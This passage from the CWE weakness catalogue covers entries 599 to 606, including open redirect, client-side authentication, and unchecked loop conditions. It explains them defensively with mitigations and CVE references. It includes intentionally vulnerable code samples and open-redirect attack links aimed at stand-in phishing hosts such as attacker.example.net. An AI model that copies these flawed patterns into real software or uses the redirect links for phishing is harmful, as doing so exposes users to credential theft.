Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

Demonstrative Examples

Example 1:

The following OpenSSL code ensures that the host has a certificate.

Example Language: C *(Bad)*

```
if (cert = SSL_get_peer_certificate(ssl)) {
  // got certificate, host can be trusted
  //foo=SSL_get_verify_result(ssl);
  //if (X509_V_OK==foo) ...
}
```

Note that the code does not call SSL_get_verify_result(ssl), which effectively disables the validation step that checks the certificate.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	948	SFP Secondary Cluster: Digital Certificate	888	2416
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Relationship

CWE-295 and CWE-599 are very similar, although CWE-599 has a more narrow scope that is only applied to OpenSSL certificates. As a result, other children of CWE-295 can be regarded as children of CWE-599 as well. CWE's use of one-dimensional hierarchical relationships is not well-suited to handle different kinds of abstraction relationships based on concepts like types of resources ("OpenSSL certificate" as a child of "any certificate") and types of behaviors ("not validating expiration" as a child of "improper validation").

CWE-600: Uncaught Exception in Servlet

Weakness ID : 600
Structure : Simple
Abstraction : Variant

Description

The Servlet does not catch all exceptions, which may reveal sensitive debugging information.

Extended Description

When a Servlet throws an exception, the default error response the Servlet container sends back to the user typically includes debugging information. This information is of great value to an attacker. For example, a stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	248	Uncaught Exception	603
PeerOf	B	390	Detection of Error Condition Without Action	950
CanPrecede	B	209	Generation of Error Message Containing Sensitive Information	540

Alternate Terms

Missing Catch Block :

Common Consequences

Scope	Impact	Likelihood
Confidentiality Availability	Read Application Data DoS: Crash, Exit, or Restart	

Potential Mitigations

Phase: Implementation

Implement Exception blocks to handle all types of Exceptions.

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java *(Bad)*

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
  String ip = req.getRemoteAddr();
  InetAddress addr = InetAddress.getByName(ip);
  ...
  out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2386
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2421
MemberOf	C	1410	Comprehensive Categorization: Insufficient Control Flow Management	1400	2557

Notes

Maintenance

The "Missing Catch Block" concept is probably broader than just Servlets, but the broader concept is not sufficiently covered in CWE.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	ERR01-J		Do not allow exceptions to expose sensitive information
Software Fault Patterns	SFP4		Unchecked Status Condition

CWE-601: URL Redirection to Untrusted Site ('Open Redirect')

Weakness ID : 601
Structure : Simple
Abstraction : Base

Description

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1373

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	610	Externally Controlled Reference to a Resource in Another Sphere	1373

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	2454

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	19	Data Processing Errors	2330

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : Web Based *(Prevalence = Undetermined)*

Background Details

Phishing is a general term for deceptive attempts to coerce private information from users that will be used for identity theft.

Alternate Terms

Open Redirect :

Cross-site Redirect :

Cross-domain Redirect :

Unvalidated Redirect :

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *The user may be redirected to an untrusted page that contains malware which may then compromise the user's machine. This will expose the user to extensive risk and the user's interaction with the web server may also be compromised if the malware conducts keylogging or other attacks that steal credentials, personally identifiable information (PII), or other important data.*	
Access Control Confidentiality Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Other *By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam. The user may be subjected to phishing attacks by being redirected to an untrusted page. The phishing attack may point to an attacker controlled web page that appears to be a trusted web site. The phishers may then steal the user's credentials and then use these credentials to access the legitimate web site. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

Automated Dynamic Analysis

Automated black box tools that supply URLs to every input may be able to spot Location header modifications, but test case coverage is a factor, and custom redirects may not be detected.

Automated Static Analysis

Automated static analysis tools may not be able to determine whether input influences the beginning of a URL, which is important for reducing false positives.

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Fuzz Tester Framework-based Fuzzer

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Strategy = Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. Use a list of approved URLs or domains to be used for redirection.

Phase: Architecture and Design

Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.

Phase: Architecture and Design

Strategy = Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.

Phase: Architecture and Design

Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.

Phase: Operation

Strategy = Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

Effectiveness = Moderate

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

Demonstrative Examples

Example 1:

The following code obtains a URL from the query string and then redirects the user to that URL.

Example Language: PHP *(Bad)*

```
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);
```

The problem with the above code is that an attacker could use this page as part of a phishing scam by redirecting users to a malicious site. For example, assume the above code is in the file example.php. An attacker could supply a user with the following link:

Example Language: *(Attack)*

```
http://example.com/example.php?url=http://malicious.example.com
```

The user sees the link pointing to the original trusted site (example.com) and does not realize the redirection that could take place.

Example 2:

The following code is a Java servlet that will receive a GET request with a url parameter in the request to redirect the browser to the address specified in the url parameter. The servlet will retrieve the url parameter value from the request and send a response to redirect the browser to the url address.

Example Language: Java *(Bad)*

```
public class RedirectServlet extends HttpServlet {
  protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException
  {
    String query = request.getQueryString();
    if (query.contains("url")) {
      String url = request.getParameter("url");
      response.sendRedirect(url);
    }
  }
}
```

The problem with this Java servlet code is that an attacker could use the RedirectServlet as part of an e-mail phishing scam to redirect users to a malicious site. An attacker could send an HTML formatted e-mail directing the user to log into their account by including in the e-mail the following link:

Example Language: HTML *(Attack)*

```
<a href="http://bank.example.com/redirect?url=http://attacker.example.net">Click here to log in</a>
```

The user may assume that the link is safe since the URL starts with their trusted bank, bank.example.com. However, the user will then be redirected to the attacker's web site (attacker.example.net) which the attacker may have made to appear very similar to bank.example.com. The user may then unwittingly enter credentials into the attacker's web page and compromise their bank account. A Java servlet should never redirect a user to a URL without verifying that the redirect address is a trusted site.

Observed Examples

Reference	Description
CVE-2005-4206	URL parameter loads the URL into a frame and causes it to appear to be part of a valid page. *https://www.cve.org/CVERecord?id=CVE-2005-4206*
CVE-2008-2951	An open redirect vulnerability in the search script in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL as a parameter to the proper function. *https://www.cve.org/CVERecord?id=CVE-2008-2951*
CVE-2008-2052	Open redirect vulnerability in the software allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the proper parameter. *https://www.cve.org/CVERecord?id=CVE-2008-2052*
CVE-2020-11053	Chain: Go-based Oauth2 reverse proxy can send the authenticated user to another site at the end of the authentication flow. A redirect URL with HTML-encoded whitespace characters can bypass the validation (CWE-1289) to redirect to a malicious site (CWE-601) *https://www.cve.org/CVERecord?id=CVE-2020-11053*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2355
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2375
MemberOf	C	819	OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards	809	2381
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2392
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	938	OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards	928	2414
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2434
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2508
MemberOf	C	1382	ICS Operations (& Maintenance): Emerging Energy Technologies	1358	2538
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

Notes

Other

Whether this issue poses a vulnerability will be subject to the intended behavior of the application. For example, a search engine might intentionally provide redirects to arbitrary URLs.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	38		URI Redirector Abuse
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
178	Cross-Site Flashing

References

[REF-483]Craig A. Shue, Andrew J. Kalafut and Minaxi Gupta. "Exploitable Redirects on the Web: Identification, Prevalence, and Defense". < https://www.cprogramming.com/tutorial/exceptions.html >.2023-04-07.

[REF-484]Russ McRee. "Open redirect vulnerabilities: definition and prevention". Issue 17. (IN)SECURE. 2008 July. < http://www.net-security.org/dl/insecure/INSECURE-Mag-17.pdf >.

[REF-485]Jason Lam. "Top 25 Series - Rank 23 - Open Redirect". 2010 March 5. SANS Software Security Institute. < http://software-security.sans.org/blog/2010/03/25/top-25-series-rank-23-open-redirect >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID : 602
Structure : Simple
Abstraction : Class

Description

The product is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms, resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1529
ParentOf	B	565	Reliance on Cookies without Validation and Integrity Checking	1292
ParentOf	B	603	Use of Client-Side Authentication	1363
PeerOf	B	290	Authentication Bypass by Spoofing	712
PeerOf	C	300	Channel Accessible by Non-Endpoint	737
PeerOf	B	836	Use of Password Hash Instead of Password for Authentication	1770
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1129

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	2448

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Access Control Availability	Bypass Protection Mechanism DoS: Crash, Exit, or Restart *Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.*	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity *Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.*	

Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Demonstrative Examples

Example 1:

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

Example Language: Perl *(Good)*

```
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
  # username/pass is valid, go ahead and update the info!
  writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
  print "ERROR: Invalid Authentication!\n";
}
```

SERVER-SIDE (server.pl):

Example Language: *(Bad)*

```
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
  ($username, $pass) = split(/\s+/, $args, 2);
  $result = AuthenticateUser($username, $pass);
  writeSocket($sock, "$result\n");
  # does not close the socket on failure; assumes the
  # user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
  if (validateAddress($args)) {
    $res = UpdateDatabaseRecord($username, "address", $args);
    writeSocket($sock, "SUCCESS\n");
  }
  else {
    writeSocket($sock, "FAILURE -- address is malformed\n");
  }
}
```

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

Example 2:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

Observed Examples

Reference	Description
CVE-2022-33139	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. *https://www.cve.org/CVERecord?id=CVE-2022-33139*
CVE-2006-6994	ASP program allows upload of .asp files by bypassing client-side checks. *https://www.cve.org/CVERecord?id=CVE-2006-6994*
CVE-2007-0163	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://www.cve.org/CVERecord?id=CVE-2007-0163*
CVE-2007-0164	steganography products embed password information in the carrier file, which can be extracted from a modified client. *https://www.cve.org/CVERecord?id=CVE-2007-0164*
CVE-2007-0100	client allows server to modify client's configuration and overwrite arbitrary files. *https://www.cve.org/CVERecord?id=CVE-2007-0100*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2355
MemberOf	C	753	2009 Top 25 - Porous Defenses	750	2374
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	975	SFP Secondary Cluster: Architecture	888	2427
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2512
MemberOf	C	1413	Comprehensive Categorization: Protection Mechanism Failure	1400	2563

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
21	Exploitation of Trusted Identifiers
31	Accessing/Intercepting/Modifying HTTP Cookies
162	Manipulating Hidden Fields
202	Create Malicious Client
207	Removing Important Client Functionality
208	Removing/short-circuiting 'Purse' logic: removing/mutating 'cash' decrements

CAPEC-ID	Attack Pattern Name
383	Harvesting Information via API Event Monitoring
384	Application API Message Manipulation via Man-in-the-Middle
385	Transaction or Event Tampering via Application API Manipulation
386	Application API Navigation Remapping
387	Navigation Remapping To Propagate Malicious Content
388	Application API Button Hijacking

References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223 >.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < https://www.forescout.com/resources/ot-icefall-report/ >.

CWE-603: Use of Client-Side Authentication

Weakness ID : 603
Structure : Simple
Abstraction : Base

Description

A client/server product performs authentication within client code but not in server code, allowing server-side authentication to be bypassed via a modified client that omits the authentication check.

Extended Description

Client-side authentication is extremely weak and may be breached easily. Any attacker may read the source code and reverse-engineer the authentication mechanism to access parts of the application which would otherwise be protected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	602	Client-Side Enforcement of Server-Side Security	1359
ChildOf	C	1390	Weak Authentication	2279
PeerOf	C	300	Channel Accessible by Non-Endpoint	737
PeerOf	C	656	Reliance on Security Through Obscurity	1452

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	2445

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1211	Authentication Errors	2496

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Technology : ICS/OT *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Do not rely on client side data. Always perform server side authentication.

Demonstrative Examples

Example 1:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple vendors used client-side authentication in their OT products.

Observed Examples

Reference	Description
CVE-2022-33139	SCADA system only uses client-side authentication, allowing adversaries to impersonate other users. *https://www.cve.org/CVERecord?id=CVE-2022-33139*
CVE-2006-0230	Client-side check for a password allows access to a server using crafted XML requests from a modified client. *https://www.cve.org/CVERecord?id=CVE-2006-0230*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	947	SFP Secondary Cluster: Authentication Bypass	888	2415
MemberOf	C	1368	ICS Dependencies (& Architecture): External Digital Systems	1358	2526
MemberOf	C	1396	Comprehensive Categorization: Access Control	1400	2540

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < https://www.forescout.com/resources/ot-icefall-report/ >.

CWE-605: Multiple Binds to the Same Port

Weakness ID : 605
Structure : Simple
Abstraction : Variant

Description

When multiple sockets are allowed to bind to the same port, other services on that port may be stolen or spoofed.

Extended Description

On most systems, a combination of setting the SO_REUSEADDR socket option, and a call to bind() allows any process to bind to a port to which a previous process has bound with INADDR_ANY. This allows a user to bind to the specific address of a server bound to INADDR_ANY on an unprivileged port, and steal its UDP packets/TCP connection.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	666	Operation on Resource in Wrong Phase of Lifetime	1471
ChildOf	C	675	Multiple Operations on Resource in Single-Operation Context	1496

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	2443

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity	Read Application Data *Packets from a variety of network services may be stolen or the services spoofed.*	

Potential Mitigations

Phase: Policy

Restrict server socket address to known local addresses.

Demonstrative Examples

Example 1:

This code binds a server socket to port 21, allowing the server to listen for traffic on that port.

Example Language: C *(Bad)*

```
void bind_socket(void) {
  int server_sockfd;
  int server_len;
  struct sockaddr_in server_address;
  /*unlink the socket if already bound to avoid an error when bind() is called*/
  unlink("server_socket");
  server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
  server_address.sin_family = AF_INET;
  server_address.sin_port = 21;
```

```
    server_address.sin_addr.s_addr = htonl(INADDR_ANY);
    server_len = sizeof(struct sockaddr_in);
    bind(server_sockfd, (struct sockaddr *) &s1, server_len);
}
```

This code may result in two servers binding a socket to same port, thus receiving each other's traffic. This could be used by an attacker to steal packets meant for another process, such as a secure FTP server.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2588
MemberOf	C	954	SFP Secondary Cluster: Multiple Binds to the Same Port	888	2418
MemberOf	C	1412	Comprehensive Categorization: Poor Coding Practices	1400	2559

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP32		Multiple binds to the same port

CWE-606: Unchecked Input for Loop Condition

Weakness ID : 606
Structure : Simple
Abstraction : Base

Description

The product does not properly check inputs that are used for loop conditions, potentially leading to a denial of service or other consequences because of excessive looping.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	2142
CanPrecede	C	834	Excessive Iteration	1763

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1215	Data Validation Issues	2499

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU)	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Do not use user-controlled data for loop conditions.

Phase: Implementation

Perform input validation.

Demonstrative Examples

Example 1:

The following example demonstrates the weakness.

Example Language: C *(Bad)*

```
void iterate(int n){
  int i;
  for (i = 0; i < n; i++){
    foo();
  }
}
void iterateFoo()
{
  unsigned int num;
  scanf("%u",&num);
  iterate(num);
}
```

Example 2:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(Bad)*

```
int processMessageFromSocket(int socket) {
  int success;
  char buffer[BUFFER_SIZE];
  char message[MESSAGE_SIZE];
  // get message from socket and store into buffer
  //Ignoring possibliity that buffer > BUFFER_SIZE
  if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
    // place contents of the buffer into message structure
    ExMessage *msg = recastBuffer(buffer);
    // copy message body into string for processing
    int index;
    for (index = 0; index < msg->msgLength; index++) {
      message[index] = msg->msgBody[index];
    }
    message[index] = '\0';
    // process message
    success = processMessage(message);
  }
  return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2363
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2395
MemberOf	C	994	SFP Secondary Cluster: Tainted Input to Variable	888	2438
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2463
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2506
MemberOf	V	1340	CISQ Data Protection Measures	1340	2611
